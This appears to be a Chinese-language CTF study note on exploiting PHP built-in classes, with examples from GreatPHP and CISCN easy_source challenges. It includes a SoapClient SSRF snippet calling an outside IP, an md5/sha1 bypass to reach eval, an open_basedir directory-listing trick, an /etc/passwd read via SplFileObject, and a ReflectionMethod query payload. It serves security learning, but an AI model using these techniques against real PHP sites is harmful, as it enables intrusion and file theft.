[php安全]原生类的利用


php原生类的利用

查看原生类中具有魔法函数的类
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'    // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类
        ))) {
            print $class . '::' . $method . "\n"."
"; } } } /** Exception::__wakeup Exception::__toString ErrorException::__wakeup ErrorException::__toString Error::__wakeup Error::__toString ParseError::__wakeup ParseError::__toString TypeError::__wakeup TypeError::__toString ArithmeticError::__wakeup ArithmeticError::__toString DivisionByZeroError::__wakeup DivisionByZeroError::__toString Generator::__wakeup ClosedGeneratorException::__wakeup ClosedGeneratorException::__toString DateTime::__wakeup DateTime::__set_state DateTimeImmutable::__wakeup DateTimeImmutable::__set_state DateTimeZone::__wakeup DateTimeZone::__set_state DateInterval::__wakeup DateInterval::__set_state DatePeriod::__wakeup DatePeriod::__set_state LogicException::__wakeup LogicException::__toString BadFunctionCallException::__wakeup BadFunctionCallException::__toString BadMethodCallException::__wakeup BadMethodCallException::__toString DomainException::__wakeup DomainException::__toString InvalidArgumentException::__wakeup InvalidArgumentException::__toString LengthException::__wakeup LengthException::__toString OutOfRangeException::__wakeup OutOfRangeException::__toString RuntimeException::__wakeup RuntimeException::__toString OutOfBoundsException::__wakeup OutOfBoundsException::__toString OverflowException::__wakeup OverflowException::__toString RangeException::__wakeup RangeException::__toString UnderflowException::__wakeup UnderflowException::__toString UnexpectedValueException::__wakeup UnexpectedValueException::__toString CachingIterator::__toString RecursiveCachingIterator::__toString SplFileInfo::__toString DirectoryIterator::__toString FilesystemIterator::__toString RecursiveDirectoryIterator::__toString GlobIterator::__toString SplFileObject::__toString SplTempFileObject::__toString SplFixedArray::__wakeup ReflectionException::__wakeup ReflectionException::__toString ReflectionFunctionAbstract::__toString ReflectionFunction::__toString ReflectionParameter::__toString ReflectionType::__toString ReflectionMethod::__toString ReflectionClass::__toString ReflectionObject::__toString ReflectionProperty::__toString ReflectionExtension::__toString ReflectionZendExtension::__toString AssertionError::__wakeup AssertionError::__toString DOMException::__wakeup DOMException::__toString PDOException::__wakeup PDOException::__toString PDO::__wakeup PDOStatement::__wakeup SimpleXMLElement::__toString SimpleXMLIterator::__toString CURLFile::__wakeup mysqli_sql_exception::__wakeup mysqli_sql_exception::__toString PharException::__wakeup PharException::__toString Phar::__destruct Phar::__toString PharData::__destruct PharData::__toString PharFileInfo::__destruct PharFileInfo::__toString */

原生类绕 Exception Error 绕过md5/sha1(其实还可以进行xss,可以自行搜索)

有时候,在题目中出现了反序列化,但是没有给出具体类,一般不是源码泄露再审计,就是利用php的原生类。

[2020 Geek Challenge GreatPHP]

<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}

?>

我们的目的就是绕过md5和sha1的校验,最后执行evilCode。
看到md5和sha1的比较,最先想到的就是利用md5和sha1都无法解析数组绕过,事实证明确实可以绕过md5和sha1的检测。但却无法执行代码。调试发现,eval无法解析数组变量,并返回错误。。。这不就直接卡死在这儿。 强类型匹配,除了利用函数解析漏洞,就只能真的靠md5值真相等了。但直接强行找两个文件md5值相等,而且有一个其中还是可以执行的代码,我觉得这不太可能把!!!

看了大师傅的WP,发现可以用Exception类进行绕过。

$str = "?>"; 中为什么要在前面加上一个 ?> 呢?因为 Exception 类与 Error 的 __toString 方法在eval()函数中输出的结果是不可控的,即输出的报错信息中,payload前面还有一段杂乱信息“Error: ”

原生类 SoapClient 进行SSRF

SoapClient是php拓展用于发起web请求的工具。它内置一个__call魔术方法,当被触发时,会进行web访问请求。这个比较常用

<?php
$a = new SoapClient(null,array('location'=>'http://47.xxx.xxx.72:2333/aaa', 'uri'=>'http://47.xxx.xxx.72:2333'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

原生类进行目录遍历

DirectoryIterator 
FilesystemIterator 
GlobIterator 

DirectoryIterator与glob://协议结合将无视open_basedir对目录的限制,可以用来列举出指定目录下的文件。

原生类进行读取文件

<?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
    echo($f);
}

使用 ReflectionMethod 类获取类方法的相关信息

[2021 CISCN]easy_source

<?php
class User
{
    private static $c = 0;

    function a()
    {
        return ++self::$c;
    }

    function b()
    {
        return ++self::$c;
    }

    function c()
    {
        return ++self::$c;
    }

    function d()
    {
        return ++self::$c;
    }

    function e()
    {
        return ++self::$c;
    }

    function f()
    {
        return ++self::$c;
    }

    function g()
    {
        return ++self::$c;
    }

    function h()
    {
        return ++self::$c;
    }

    function i()
    {
        return ++self::$c;
    }

    function j()
    {
        return ++self::$c;
    }

    function k()
    {
        return ++self::$c;
    }

    function l()
    {
        return ++self::$c;
    }

    function m()
    {
        return ++self::$c;
    }

    function n()
    {
        return ++self::$c;
    }

    function o()
    {
        return ++self::$c;
    }

    function p()
    {
        return ++self::$c;
    }

    function q()
    {
        return ++self::$c;
    }

    function r()
    {
        return ++self::$c;
    }

    function s()
    {
        return ++self::$c;
    }

    function t()
    {
        return ++self::$c;
    }
    
}

$rc=$_GET["rc"];    // 传入原生类名
$rb=$_GET["rb"];    // 传入类属性
$ra=$_GET["ra"];    // 传入类属性
$rd=$_GET["rd"];    // 传入类方法
$method= new $rc($ra, $rb);    // 实例化刚才传入的原生类
var_dump($method->$rd());     // 调用类中的方法

利用 PHP 内置类中的 ReflectionMethod 类中的 getDocComment() 方法来读取 User 类里面各个函数的注释。

?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment

[Refer](https://whoamianony.top/2021/03/10/Web安全/PHP 原生类的利用小结/)